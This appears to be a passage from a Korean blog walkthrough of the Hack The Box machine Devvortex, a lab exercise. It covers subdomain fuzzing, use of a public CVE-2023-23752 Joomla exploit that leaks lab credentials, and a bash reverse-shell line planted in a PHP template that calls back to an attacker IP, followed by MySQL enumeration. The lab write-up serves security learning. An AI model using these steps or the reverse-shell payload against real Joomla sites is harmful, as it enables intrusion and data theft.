&lt;p data-ke-size=&quot;size16&quot;&gt;서브 도메인 주소를 확인해봤으나 확인이 안됨.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1707832097776&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ffuf -w /usr/share/dnsrecon/subdomains-top1mil-5000.txt -u http://devvortex.htb/ -H &quot;Host: FUZZ.devvortex.htb&quot; -mc 200&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;1081&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bKbT5M/btsEHohmVAa/BLkIJsyTmuwikcKDKKGHPk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bKbT5M/btsEHohmVAa/BLkIJsyTmuwikcKDKKGHPk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bKbT5M/btsEHohmVAa/BLkIJsyTmuwikcKDKKGHPk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbKbT5M%2FbtsEHohmVAa%2FBLkIJsyTmuwikcKDKKGHPk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2000&quot; height=&quot;1081&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;1081&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ffuf 도구를 사용해서 도메인 주소를 찾아봄. 여기서는 'dev' 즉 'dev.devvortex.htb' 서브 도메인이 발견됨.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-u : 공격 대상 주소&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-H : HTTP 요청 헤더&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;FUZZ : wordlist를 대입할 위치&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-mc : 응답 코드&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure id=&quot;og_1707833972921&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;GitHub - ffuf/ffuf: Fast web fuzzer written in Go&quot; data-og-description=&quot;Fast web fuzzer written in Go. Contribute to ffuf/ffuf development by creating an account on GitHub.&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/ffuf/ffuf&quot; data-og-url=&quot;https://github.com/ffuf/ffuf&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/dQqQpX/hyVjeO81F5/q5IXdmXawVJc8Wi0iypi20/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600&quot;&gt;&lt;a href=&quot;https://github.com/ffuf/ffuf&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/ffuf/ffuf&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/dQqQpX/hyVjeO81F5/q5IXdmXawVJc8Wi0iypi20/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub - ffuf/ffuf: Fast web fuzzer written in Go&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Fast web fuzzer written in Go. Contribute to ffuf/ffuf development by creating an account on GitHub.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1707832201097&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;dirsearch -u http://dev.devvortex.htb/&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서브 도메인 주소에 존재하는 디렉터리 정보를 찾아봄. '/administrator'&amp;nbsp; 확인을 안해볼수가 없음.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;2. 초기 접근&lt;/h2&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2.2. 'CVE-2023-23752' 을 통한 ID, PW 탈취&lt;/h4&gt;
&lt;pre id=&quot;code_1707832809237&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;http://dev.devvortex.htb/administrator/&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2282&quot; data-origin-height=&quot;1746&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vI5On/btsEGhiFRED/fJkXM7LNvx6Q02nCgopC8k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vI5On/btsEGhiFRED/fJkXM7LNvx6Q02nCgopC8k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vI5On/btsEGhiFRED/fJkXM7LNvx6Q02nCgopC8k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvI5On%2FbtsEGhiFRED%2FfJkXM7LNvx6Q02nCgopC8k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2282&quot; height=&quot;1746&quot; data-origin-width=&quot;2282&quot; data-origin-height=&quot;1746&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;span style=&quot;color: #000000; text-align: left;&quot;&gt;'Joomla'는 PHP로 작성된 오픈 소스 저작물 관리 시스템으로, MySQL 데이터베이스를 이용해 웹상에서 다양한 컨텐츠를 관리, 보관, 출판할 수 있는 기능을 갖고 있다. 라이선스는 GPL이며 다양한 언어를 함께 지원한다.&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;'Joomla' cve 있는지 구글링 해봄.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2186&quot; data-origin-height=&quot;965&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bfig0G/btsEQKXtZyu/mzjfT3f143Jj9pGkmBjh00/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bfig0G/btsEQKXtZyu/mzjfT3f143Jj9pGkmBjh00/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bfig0G/btsEQKXtZyu/mzjfT3f143Jj9pGkmBjh00/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbfig0G%2FbtsEQKXtZyu%2FmzjfT3f143Jj9pGkmBjh00%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2186&quot; height=&quot;965&quot; data-origin-width=&quot;2186&quot; data-origin-height=&quot;965&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;'CVE-2023-23752' 웹 서비스에 무단 접근이 가능하다고 함. 구글링해서 적용된 exploit 알아봄.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1879&quot; data-origin-height=&quot;1302&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/N15tq/btsEMXJ4hCK/hGAeyUbc5VeAjCchgqFNI0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/N15tq/btsEMXJ4hCK/hGAeyUbc5VeAjCchgqFNI0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/N15tq/btsEMXJ4hCK/hGAeyUbc5VeAjCchgqFNI0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FN15tq%2FbtsEMXJ4hCK%2FhGAeyUbc5VeAjCchgqFNI0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1879&quot; height=&quot;1302&quot; data-origin-width=&quot;1879&quot; data-origin-height=&quot;1302&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure id=&quot;og_1707834612561&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;GitHub - K3ysTr0K3R/CVE-2023-23752-EXPLOIT: A PoC exploit for CVE-2023-23752 - Joomla Improper Access Check in Versions 4.0.0 th&quot; data-og-description=&quot;A PoC exploit for CVE-2023-23752 - Joomla Improper Access Check in Versions 4.0.0 through 4.2.7 - K3ysTr0K3R/CVE-2023-23752-EXPLOIT&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/K3ysTr0K3R/CVE-2023-23752-EXPLOIT&quot; data-og-url=&quot;https://github.com/K3ysTr0K3R/CVE-2023-23752-EXPLOIT&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/hNa4T/hyVjlHwSJH/TyMb8XertZ56FONuw3ydJ1/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600&quot;&gt;&lt;a href=&quot;https://github.com/K3ysTr0K3R/CVE-2023-23752-EXPLOIT&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/K3ysTr0K3R/CVE-2023-23752-EXPLOIT&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/hNa4T/hyVjlHwSJH/TyMb8XertZ56FONuw3ydJ1/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub - K3ysTr0K3R/CVE-2023-23752-EXPLOIT: A PoC exploit for CVE-2023-23752 - Joomla Improper Access Check in Versions 4.0.0 th&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;A PoC exploit for CVE-2023-23752 - Joomla Improper Access Check in Versions 4.0.0 through 4.2.7 - K3ysTr0K3R/CVE-2023-23752-EXPLOIT&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1707834725232&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;wget https://raw.githubusercontent.com/K3ysTr0K3R/CVE-2023-23752-EXPLOIT/main/CVE-2023-23752.py&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1908&quot; data-origin-height=&quot;224&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7LeZg/btsERkjW0vN/AXJKAfQ0CZOFBJ2dPptBUK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7LeZg/btsERkjW0vN/AXJKAfQ0CZOFBJ2dPptBUK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7LeZg/btsERkjW0vN/AXJKAfQ0CZOFBJ2dPptBUK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7LeZg%2FbtsERkjW0vN%2FAXJKAfQ0CZOFBJ2dPptBUK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1908&quot; height=&quot;224&quot; data-origin-width=&quot;1908&quot; data-origin-height=&quot;224&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;'CVE-2023-23752.py&quot; exploit 코드를 다운받음.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1707832257991&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;python3 CVE-2023-23752.py -u http://dev.devvortex.htb&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1212&quot; data-origin-height=&quot;1125&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bwdD3q/btsEGPzrJHH/NZKfYYSp2RFixKDlIfY58K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bwdD3q/btsEGPzrJHH/NZKfYYSp2RFixKDlIfY58K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bwdD3q/btsEGPzrJHH/NZKfYYSp2RFixKDlIfY58K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbwdD3q%2FbtsEGPzrJHH%2FNZKfYYSp2RFixKDlIfY58K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1212&quot; height=&quot;1125&quot; data-origin-width=&quot;1212&quot; data-origin-height=&quot;1125&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격 대상을 &quot;&lt;a href=&quot;http://dev.devvortex.htb&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;http://dev.devvortex.htb&lt;/a&gt;&quot;로 지정해서 exploit을 실행함. Username : lewis, logan / Password : P4ntherg0t1n5r3c0n## 확인 할 수 있음.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1707832389011&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;Username : lewis
Passwrod : P4ntherg0t1n5r3c0n##&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1923&quot; data-origin-height=&quot;1470&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vwLIN/btsEQbntzil/61A3nWJk5QxUM4Vkbj9wr0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vwLIN/btsEQbntzil/61A3nWJk5QxUM4Vkbj9wr0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vwLIN/btsEQbntzil/61A3nWJk5QxUM4Vkbj9wr0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvwLIN%2FbtsEQbntzil%2F61A3nWJk5QxUM4Vkbj9wr0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1923&quot; height=&quot;1470&quot; data-origin-width=&quot;1923&quot; data-origin-height=&quot;1470&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Username : lewis로 로그인이 가능한 것을 확인할 수 있음.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2.3. php 템플릿에 reverse shell 삽입&lt;/h4&gt;
&lt;pre id=&quot;code_1707832858355&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;exec(&quot;/bin/bash -c 'bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.14.63/4444 0&amp;gt;&amp;amp;1'&quot;);&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1871&quot; data-origin-height=&quot;1745&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/5nJfq/btsERxQ3RsI/z3jXneOQgXpFELXbMkekbK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/5nJfq/btsERxQ3RsI/z3jXneOQgXpFELXbMkekbK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/5nJfq/btsERxQ3RsI/z3jXneOQgXpFELXbMkekbK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F5nJfq%2FbtsERxQ3RsI%2Fz3jXneOQgXpFELXbMkekbK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1871&quot; height=&quot;1745&quot; data-origin-width=&quot;1871&quot; data-origin-height=&quot;1745&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[System - administrator Template - index.html]에 PHP reverse shell 코드를 삽입함.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #f2f7ff; color: #3b3f4e; text-align: left;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;/bin/bash -c: bash 쉘에서 명령어를 실행합니다.&lt;/li&gt;
&lt;li&gt;bash -i: 대화형(interactive) bash 쉘을 실행합니다.&lt;/li&gt;
&lt;li&gt;&amp;gt;&amp;amp; /dev/tcp/10.10.14.63/4444: 새로운 TCP 연결을 생성합니다. 이 연결은 10.10.14.63 IP 주소의 4444 포트로 연결됩니다.&lt;/li&gt;
&lt;li&gt;0&amp;gt;&amp;amp;1: 표준 입력(0)을 표준 출력(1)으로 리다이렉션합니다. 이렇게 하면 원격 서버에서 보낸 명령의 결과가 우리에게 되돌아옵니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1707832935100&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;nc -lvp 4444&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1984&quot; data-origin-height=&quot;269&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bcujyq/btsEP8RQN5i/e35VKsmnNx5vG1OuIbhjP1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bcujyq/btsEP8RQN5i/e35VKsmnNx5vG1OuIbhjP1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bcujyq/btsEP8RQN5i/e35VKsmnNx5vG1OuIbhjP1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbcujyq%2FbtsEP8RQN5i%2Fe35VKsmnNx5vG1OuIbhjP1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1984&quot; height=&quot;269&quot; data-origin-width=&quot;1984&quot; data-origin-height=&quot;269&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자가 받을 4444 포트를 열어둠.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2.4. MySQL 접속해서 계정 알아보기&lt;/h4&gt;
&lt;pre id=&quot;code_1707832967496&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;mysql -u lewis -p&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1994&quot; data-origin-height=&quot;229&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bOR5Cs/btsEIRKosq6/NSFEywC5KLGl6zIjYWjfoK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bOR5Cs/btsEIRKosq6/NSFEywC5KLGl6zIjYWjfoK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bOR5Cs/btsEIRKosq6/NSFEywC5KLGl6zIjYWjfoK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbOR5Cs%2FbtsEIRKosq6%2FNSFEywC5KLGl6zIjYWjfoK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1994&quot; height=&quot;229&quot; data-origin-width=&quot;1994&quot; data-origin-height=&quot;229&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;span style=&quot;text-align: left; color: #000000;&quot;&gt;'Joomla'는 PHP로 작성된 오픈 소스 저작물 관리 시스템으로, &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;MySQL 데이터베이스&lt;/b&gt;&lt;/span&gt;를 이용해 웹상에서 다양한 컨텐츠를 관리, 보관, 출판할 수 있는 기능을 갖고 있다. 라이선스는 GPL이며 다양한 언어를 함께 지원한다. &lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;'Joomla'는 MySQL DB를 사용함. 그래서 mysql 연결을 시도해 봄.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1707833072138&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;show databases;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1900&quot; data-origin-height=&quot;136&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Hb0Ev/btsEKFv8XVL/yb6gZEM7le9gm81F7oti51/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Hb0Ev/btsEKFv8XVL/yb6gZEM7le9gm81F7oti51/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Hb0Ev/btsEKFv8XVL/yb6gZEM7le9gm81F7oti51/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHb0Ev%2FbtsEKFv8XVL%2Fyb6gZEM7le9gm81F7oti51%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1900&quot; height=&quot;136&quot; data-origin-width=&quot;1900&quot; data-origin-height=&quot;136&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DB 정보를 조회해봄.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1707833127015&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;use joomla
show tables;&lt;/code&gt;&lt;/pre&gt;
